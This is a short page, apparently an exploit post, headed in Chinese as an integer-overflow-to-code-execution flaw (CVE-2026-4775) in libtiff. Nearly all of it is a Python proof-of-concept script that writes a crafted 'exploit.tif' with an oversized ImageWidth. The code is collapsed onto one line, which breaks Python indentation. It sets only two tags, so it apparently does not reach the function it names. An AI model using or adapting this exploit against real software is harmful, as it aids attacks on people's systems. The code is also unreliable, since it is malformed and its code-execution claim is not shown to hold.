CVE-2026-4775: libtiff库整数溢出导致代码执行

import struct def generate_malicious_tiff(filename): """ PoC for CVE-2026-4775 Generates a crafted TIFF file designed to trigger integer overflow in putcontig8bitYCbCr44tile function within libtiff. """ with open(filename, 'wb') as f: # TIFF Header (Little Endian) f.write(b'II') # Byte Order f.write(struct.pack('<H', 42)) # Magic Number f.write(struct.pack('<I', 8)) # Offset to first IFD # IFD Entries f.write(struct.pack('<H', 2)) # Number of entries # Tag 256: ImageWidth (Set to large value to trigger overflow) f.write(struct.pack('<H', 256)) # Tag f.write(struct.pack('<H', 4)) # Type (LONG) f.write(struct.pack('<I', 1)) # Count f.write(struct.pack('<I', 0x7FFFFFFF)) # Value/Offset (Max signed int) # Tag 257: ImageLength f.write(struct.pack('<H', 257)) # Tag f.write(struct.pack('<H', 4)) # Type (LONG) f.write(struct.pack('<I', 1)) # Count f.write(struct.pack('<I', 1)) # Value # Next IFD offset f.write(struct.pack('<I', 0)) # No more IFDs if __name__ == "__main__": print("Generating exploit.tif...") generate_malicious_tiff("exploit.tif") print("Done.")